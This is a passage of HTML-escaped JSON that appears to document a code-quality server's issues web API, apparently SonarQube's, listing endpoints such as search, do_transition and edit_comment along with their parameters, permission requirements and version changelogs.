{ \u0026#34;key\u0026#34;: \u0026#34;sendNotifications\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.0\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_severity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To change the severity of the list of issues\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To change the type of the list of issues\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;BUG\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34;, \u0026#34;SECURITY_HOTSPOT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;changelog\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Display changelog of an issue.\\u003Cbr/\\u003ERequires the \u0026#39;Browse\u0026#39; permission on the project of the specified issue.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;issueStatus\u0026#39; key is added in the differences\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;status\u0026#39;, \u0026#39;resolution\u0026#39;, \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; keys are now deprecated in the differences\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;externalUser\u0026#39; and \u0026#39;webhookSource\u0026#39; information added to the answer\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;changes on effort is expressed with the raw value in minutes (instead of the duration previously)\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete_comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a comment.\\u003Cbr/\\u003ERequires authentication and the following permission: \u0026#39;Browse\u0026#39; on the project of the specified issue.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated. Please use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response returns the issue with all its details\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the \u0026#39;key\u0026#39; parameter is renamed \u0026#39;comment\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comment key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;do_transition\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Do workflow transition on an issue. Requires authentication and Browse permission on project.\\u003Cbr/\\u003E\\nThe transitions \u0026#39;accept\u0026#39;, \u0026#39;wontfix\u0026#39; and \u0026#39;falsepositive\u0026#39; require the permission \u0026#39;Administer Issues\u0026#39;.\\u003Cbr/\\u003E\\nThe transitions involving security hotspots require the permission \u0026#39;Administer Security Hotspot\u0026#39;.\\n\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The transitions \u0026#39;wontfix\u0026#39; and \u0026#39;confirm\u0026#39; are deprecated. Please use \u0026#39;accept\u0026#39; instead. The transition \u0026#39;unconfirm\u0026#39; is deprecated too. \u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add transition \u0026#39;accept\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated. Please use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;transitions \u0026#39;setinreview\u0026#39; and \u0026#39;openasvulnerability\u0026#39; are no more supported\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;added \u0026#39;setinreview\u0026#39;, resolveasreviewed, openasvulnerability and resetastoreview transitions for security hotspots \u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;added transitions for security hotspots\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;transition\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Transition\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;confirm\u0026#34;, \u0026#34;unconfirm\u0026#34;, \u0026#34;reopen\u0026#34;, \u0026#34;resolve\u0026#34;, \u0026#34;falsepositive\u0026#34;, \u0026#34;wontfix\u0026#34;, \u0026#34;close\u0026#34;, \u0026#34;setinreview\u0026#34;, \u0026#34;resolveasreviewed\u0026#34;, \u0026#34;resetastoreview\u0026#34;, \u0026#34;accept\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;edit_comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Edit a comment.\\u003Cbr/\\u003ERequires authentication and the following permission: \u0026#39;Browse\u0026#39; on the project of the specified issue.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated. Please use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response returns the issue with all its details\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the \u0026#39;key\u0026#39; parameter has been renamed comment\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comment key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;text\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comment text\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Won\u0026#39;t fix because it doesn\u0026#39;t apply to the context\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;reindex\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Reindex issues for a project.\\u003Cbr\\u003E Require \u0026#39;Administer System\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.8\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for issues.\\u003Cbr\\u003ERequires the \u0026#39;Browse\u0026#39; permission on the specified project(s). \\u003Cbr\\u003EFor applications, it also requires \u0026#39;Browse\u0026#39; permission on its child projects.\\u003Cbr/\\u003EWhen issue indexing is in progress returns 503 service unavailable HTTP code.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Added new param \u0026#39;fixedInPullRequest\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Value \u0026#39;wontfix\u0026#39; for \u0026#39;transition\u0026#39; response field is deprecated, use \u0026#39;accept\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Possible value \u0026#39;accept\u0026#39; for \u0026#39;transition\u0026#39; response field has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;issueStatuses\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;resolutions\u0026#39; and \u0026#39;statuses\u0026#39; are deprecated in favor of \u0026#39;issueStatuses\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;severities\u0026#39; and \u0026#39;types\u0026#39; are deprecated, use \u0026#39;impactSeverities\u0026#39; and \u0026#39;impactSoftwareQualities\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facet \u0026#39;issueStatuses\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facets \u0026#39;resolutions\u0026#39; and \u0026#39;statuses\u0026#39; are deprecated in favor of \u0026#39;issueStatuses\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated, use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;issueStatus\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response fields \u0026#39;status\u0026#39; and \u0026#39;resolutions\u0026#39; are deprecated, in favor of \u0026#39;issueStatus\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Possible value \u0026#39;CONFIRMED\u0026#39; for \u0026#39;issueStatus\u0026#39; field is deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;impactSoftwareQualities\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;impactSeverities\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;cleanCodeAttributeCategories\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facet \u0026#39;impactSoftwareQualities\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facet \u0026#39;impactSeverities\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facet \u0026#39;cleanCodeAttributeCategories\u0026#39; has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;componentKeys\u0026#39; renamed to \u0026#39;components\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add the \u0026#39;codeVariants\u0026#39; parameter, facet and response field\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sansTop25\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The value \u0026#39;sansTop25\u0026#39; for the parameter \u0026#39;facets\u0026#39; has been deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecated value \u0026#39;ASSIGNEE\u0026#39; in parameter \u0026#39;s\u0026#39; is dropped\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sinceLeakPeriod\u0026#39; is removed, please use \u0026#39;inNewCodePeriod\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add message formatting to issue and locations response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response fields \u0026#39;total\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;ps\u0026#39; have been deprecated, please use \u0026#39;paging\u0026#39; object instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Issues flows in the response may contain a description and a type\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;fromHotspot\u0026#39; dropped.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added facets \u0026#39;pciDss-3.2\u0026#39; and \u0026#39;pciDss-4.0\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added parameters \u0026#39;pciDss-3.2\u0026#39; and \u0026#39;pciDss-4.0\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New possible value for \u0026#39;additionalFields\u0026#39; parameter: \u0026#39;ruleDescriptionContextKey\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facet \u0026#39;moduleUuids\u0026#39; is dropped.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sinceLeakPeriod\u0026#39; is deprecated, please use \u0026#39;inNewCodePeriod\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;quickFixAvailable\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecated parameters \u0026#39;authors\u0026#39;, \u0026#39;facetMode\u0026#39; and \u0026#39;moduleUuids\u0026#39; were dropped\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;timeZone\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Facet \u0026#39;fileUuids\u0026#39; is dropped in favour of the new facet \u0026#39;files\u0026#39;Note that they are not strictly identical, the latter returns the file paths.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Internal parameter \u0026#39;fileUuids\u0026#39; has been dropped\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;parameters \u0026#39;componentUuids\u0026#39;, \u0026#39;projectKeys\u0026#39; has been dropped.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;REVIEWED\u0026#39;, \u0026#39;TO_REVIEW\u0026#39; status param values are no longer supported\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Security hotspots are no longer returned as type \u0026#39;SECURITY_HOTSPOT\u0026#39; is not supported anymore, use dedicated api/hotspots\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response field \u0026#39;fromHotspot\u0026#39; has been deprecated and is no more populated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Status \u0026#39;IN_REVIEW\u0026#39; for Security Hotspots has been deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;added new Security Hotspots statuses : TO_REVIEW, IN_REVIEW and REVIEWED\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Security hotspots are returned by default\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Value \u0026#39;authors\u0026#39; in parameter \u0026#39;facets\u0026#39; is deprecated, please use \u0026#39;author\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;componentKeys\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The facet \u0026#39;projectUuids\u0026#39; is dropped in favour of the new facet \u0026#39;projects\u0026#39;. Note that they are not strictly identical, the latter returns the project keys.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;facetMode\u0026#39; does not accept anymore deprecated value \u0026#39;debt\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response field \u0026#39;fromHotspot\u0026#39; added to issues that are security hotspots\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;added facets \u0026#39;sansTop25\u0026#39;, \u0026#39;owaspTop10\u0026#39; and \u0026#39;cwe\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response field \u0026#39;externalRuleEngine\u0026#39; added to issues that have been imported from an external rule engine\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;value \u0026#39;ASSIGNEE\u0026#39; in parameter \u0026#39;s\u0026#39; is deprecated, it won\u0026#39;t have any effect\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;parameters \u0026#39;projects\u0026#39;, \u0026#39;projectUuids\u0026#39;, \u0026#39;moduleUuids\u0026#39;, \u0026#39;directories\u0026#39;, \u0026#39;fileUuids\u0026#39; are marked as internal\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response field \u0026#39;email\u0026#39; is renamed \u0026#39;avatar\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response fields \u0026#39;reporter\u0026#39; and \u0026#39;actionPlan\u0026#39; are removed (drop of action plan and manual issue features)\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;parameters \u0026#39;reporters\u0026#39;, \u0026#39;actionPlans\u0026#39; and \u0026#39;planned\u0026#39; are dropped and therefore ignored (drop of action plan and manual issue features)\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response field \u0026#39;debt\u0026#39; is renamed \u0026#39;effort\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;additionalFields\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of the optional fields to be returned in response. Action plans are dropped in 5.5, it is not returned in the response.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;_all\u0026#34;, \u0026#34;comments\u0026#34;, \u0026#34;languages\u0026#34;, \u0026#34;rules\u0026#34;, 